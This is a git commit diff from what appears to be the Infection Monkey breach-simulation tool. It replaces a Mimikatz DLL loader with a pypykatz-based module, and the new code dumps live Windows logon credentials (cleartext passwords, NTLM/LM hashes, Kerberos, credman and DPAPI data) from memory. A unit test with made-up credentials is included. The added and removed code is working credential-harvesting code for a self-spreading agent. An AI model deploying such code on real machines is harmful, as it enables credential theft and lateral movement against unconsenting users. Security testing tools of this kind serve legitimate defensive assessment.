Migrated to pypykatz on monkey

This commit is contained in:
VakarisZ 2020-06-03 10:02:31 +03:00
parent 33ef1f6261
commit 90b47a4bb6
8 changed files with 208 additions and 140 deletions

View File

@ -17,3 +17,4 @@ wmi==1.4.9 ; sys_platform == 'win32'
pymssql<3.0 pymssql<3.0
pyftpdlib pyftpdlib
WinSys-3.x WinSys-3.x
pypykatz

View File

@ -1,129 +0,0 @@
import binascii
import ctypes
import logging
import socket
import zipfile
import infection_monkey.config
from common.utils.attack_utils import ScanStatus, UsageEnum
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector(object):
"""
Password collection module for Windows using Mimikatz.
"""
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
# Password to Mimikatz zip file
MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
self._isInit = False
self._dll = None
self._collect = None
self._get = None
self.init_mimikatz()
def init_mimikatz(self):
try:
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
pwd=self.MIMIKATZ_ZIP_PASSWORD)
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
status = ScanStatus.USED
except Exception:
LOG.exception("Error initializing mimikatz collector")
status = ScanStatus.SCANNED
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
T1129Telem(status, UsageEnum.MIMIKATZ).send()
def get_logon_info(self):
"""
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
LOG.info('Getting mimikatz logon information')
if not self._isInit:
return {}
LOG.debug("Running mimikatz collector")
try:
entry_count = self._collect()
logon_data_dictionary = {}
hostname = socket.gethostname()
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
entry = self._get()
username = entry.username
password = entry.password
lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode()
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode()
if 0 == len(password):
has_password = False
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
# Don't save the password of the host domain user (HOSTNAME$)
has_password = False
else:
has_password = True
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if username not in logon_data_dictionary:
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
if has_lm:
logon_data_dictionary[username]["lm_hash"] = lm_hash
if has_ntlm:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except Exception:
LOG.exception("Error getting logon info")
return {}
def get_mimikatz_text(self):
return self.mimikatz_text
class LogonData(ctypes.Structure):
"""
Logon data structure returned from mimikatz.
"""
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
LM_NTLM_HASH_LENGTH = 16
_fields_ = \
[
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]

View File

@ -0,0 +1,72 @@
import binascii
from typing import Dict, List
from pypykatz.pypykatz import pypykatz
from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential
CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds',
'kerberos_creds', 'credman_creds', 'tspkg_creds']
def get_windows_creds():
pypy_handle = pypykatz.go_live()
logon_data = pypy_handle.to_dict()
windows_creds = _parse_pypykatz_results(logon_data)
return windows_creds
def _parse_pypykatz_results(pypykatz_data: Dict) -> List:
windows_creds = []
for session in pypykatz_data['logon_sessions'].values():
windows_creds.extend(_get_creds_from_pypykatz_session(session))
return windows_creds
def _get_creds_from_pypykatz_session(pypykatz_session: Dict):
windows_creds = []
for cred_type_key in CREDENTIAL_TYPES:
pypykatz_creds = pypykatz_session[cred_type_key]
windows_creds.extend(_get_creds_from_pypykatz_creds(pypykatz_creds))
return windows_creds
def _get_creds_from_pypykatz_creds(pypykatz_creds):
creds = _filter_empty_creds(pypykatz_creds)
return [_get_windows_cred(cred) for cred in creds]
def _filter_empty_creds(pypykatz_creds: List[Dict]):
return [cred for cred in pypykatz_creds if not _is_cred_empty(cred)]
def _is_cred_empty(pypykatz_cred: Dict):
password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password']
ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash']
lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash']
return password_empty and ntlm_hash_empty and lm_hash_empty
def _get_windows_cred(pypykatz_cred: Dict):
password = ''
ntlm_hash = ''
lm_hash = ''
username = pypykatz_cred['username']
if 'password' in pypykatz_cred:
password = pypykatz_cred['password']
if 'NThash' in pypykatz_cred:
ntlm_hash = _hash_to_string(pypykatz_cred['NThash'])
if 'LMhash' in pypykatz_cred:
lm_hash = _hash_to_string(pypykatz_cred['LMhash'])
return WindowsCredential(username=username,
password=password,
ntlm_hash=ntlm_hash,
lm_hash=lm_hash)
def _hash_to_string(hash):
if type(hash) == str:
return hash
if type(hash) == bytes:
return binascii.hexlify(bytearray(hash)).decode()
raise Exception(f"Can't convert hash to string, unsupported hash type {type(hash)}")

View File

@ -0,0 +1,84 @@
from unittest import TestCase
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session
class TestPypykatzHandler(TestCase):
# Made up credentials, but structure of dict should be roughly the same
PYPYKATZ_SESSION = {
'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey',
'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn',
'logon_time': '2020-06-02T04:53:45.256562+00:00',
'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086,
'msv_creds': [
{'username': 'monkey', 'domainname': 'ReAlDoMaIn',
'NThash': b'1\xb7<Y\xd7\xe0\xc0\x89\xc01\xd6\xcf\xe0\xd1j\xe9', 'LMHash': None,
'SHAHash': b'\x18\x90\xaf\xd8\x07\t\xda9\xa3\xee^kK\r2U\xbf\xef\x95`'}],
'wdigest_creds': [
{'credtype': 'wdigest', 'username': 'monkey', 'domainname': 'ReAlDoMaIn',
'password': 'canyoufindme', 'luid': 123086}],
'ssp_creds': [{'credtype': 'wdigest', 'username': 'monkey123', 'domainname': 'ReAlDoMaIn',
'password': 'canyoufindme123', 'luid': 123086}],
'livessp_creds': [{'credtype': 'wdigest', 'username': 'monk3y', 'domainname': 'ReAlDoMaIn',
'password': 'canyoufindm3', 'luid': 123086}],
'dpapi_creds': [
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f'}],
'kerberos_creds': [
{'credtype': 'kerberos', 'username': 'monkey_kerb', 'password': None, 'domainname': 'ReAlDoMaIn',
'luid': 123086, 'tickets': []}],
'credman_creds': [
{'credtype': 'credman', 'username': 'monkey', 'domainname': 'monkey.ad.monkey.com',
'password': 'canyoufindme2', 'luid': 123086},
{'credtype': 'credman', 'username': 'monkey@monkey.com', 'domainname': 'moneky.monkey.com',
'password': 'canyoufindme1', 'luid': 123086},
{'credtype': 'credman', 'username': 'test', 'domainname': 'test.test.ts', 'password': 'canyoufindit',
'luid': 123086}],
'tspkg_creds': []}
def test__get_creds_from_pypykatz_session(self):
results = _get_creds_from_pypykatz_session(TestPypykatzHandler.PYPYKATZ_SESSION)
test_dicts = [{'username': 'monkey',
'ntlm_hash': '31b73c59d7e0c089c031d6cfe0d16ae9',
'password': '',
'lm_hash': ''},
{'username': 'monkey',
'ntlm_hash': '',
'password': 'canyoufindme',
'lm_hash': ''},
{'username': 'monkey123',
'ntlm_hash': '',
'password': 'canyoufindme123',
'lm_hash': ''},
{'username': 'monk3y',
'ntlm_hash': '',
'password': 'canyoufindm3',
'lm_hash': ''},
{'username': 'monkey',
'ntlm_hash': '',
'password': 'canyoufindme2',
'lm_hash': ''},
{'username': 'monkey@monkey.com',
'ntlm_hash': '',
'password': 'canyoufindme1',
'lm_hash': ''},
{'username': 'test',
'ntlm_hash': '',
'password': 'canyoufindit',
'lm_hash': ''},
]
results = [result.to_dict() for result in results]
for test_dict in test_dicts:
self.assertTrue(test_dict in results)

View File

@ -0,0 +1,22 @@
import logging
from typing import List
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import get_windows_creds
from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential
LOG = logging.getLogger(__name__)
class WindowsCredentialCollector(object):
@staticmethod
def get_creds():
creds = get_windows_creds()
return WindowsCredentialCollector.cred_list_to_cred_dict(creds)
@staticmethod
def cred_list_to_cred_dict(creds: List[WindowsCredential]):
cred_dict = {}
for cred in creds:
cred_dict.update({cred.username: cred.to_dict()})
return cred_dict

View File

@ -0,0 +1,15 @@
from typing import Dict
class WindowsCredential:
def __init__(self, username: str, password="", ntlm_hash="", lm_hash=""):
self.username = username
self.password = password
self.ntlm_hash = ntlm_hash
self.lm_hash = lm_hash
def to_dict(self) -> Dict:
return {'username': self.username,
'password': self.password,
'ntlm_hash': self.ntlm_hash,
'lm_hash': self.lm_hash}

View File

@ -2,12 +2,12 @@ import os
import logging import logging
import sys import sys
from infection_monkey.system_info.windows_cred_collector.windows_cred_collector import WindowsCredentialCollector
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
# noinspection PyPep8 # noinspection PyPep8
import infection_monkey.config import infection_monkey.config
# noinspection PyPep8 # noinspection PyPep8
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
# noinspection PyPep8
from infection_monkey.system_info import InfoCollector from infection_monkey.system_info import InfoCollector
# noinspection PyPep8 # noinspection PyPep8
from infection_monkey.system_info.wmi_consts import WMI_CLASSES from infection_monkey.system_info.wmi_consts import WMI_CLASSES
@ -61,12 +61,15 @@ class WindowsInfoCollector(InfoCollector):
LOG.debug('finished get_wmi_info') LOG.debug('finished get_wmi_info')
def get_mimikatz_info(self): def get_mimikatz_info(self):
mimikatz_collector = MimikatzCollector() LOG.info("Gathering mimikatz info")
mimikatz_info = mimikatz_collector.get_logon_info() try:
if mimikatz_info: credentials = WindowsCredentialCollector.get_creds()
if credentials:
if "credentials" in self.info: if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info) self.info["credentials"].update(credentials)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() self.info["mimikatz"] = credentials
LOG.info('Mimikatz info gathered successfully') LOG.info('Mimikatz info gathered successfully')
else: else:
LOG.info('No mimikatz info was gathered') LOG.info('No mimikatz info was gathered')
except Exception as e:
LOG.info(f"Pypykatz failed: {e}")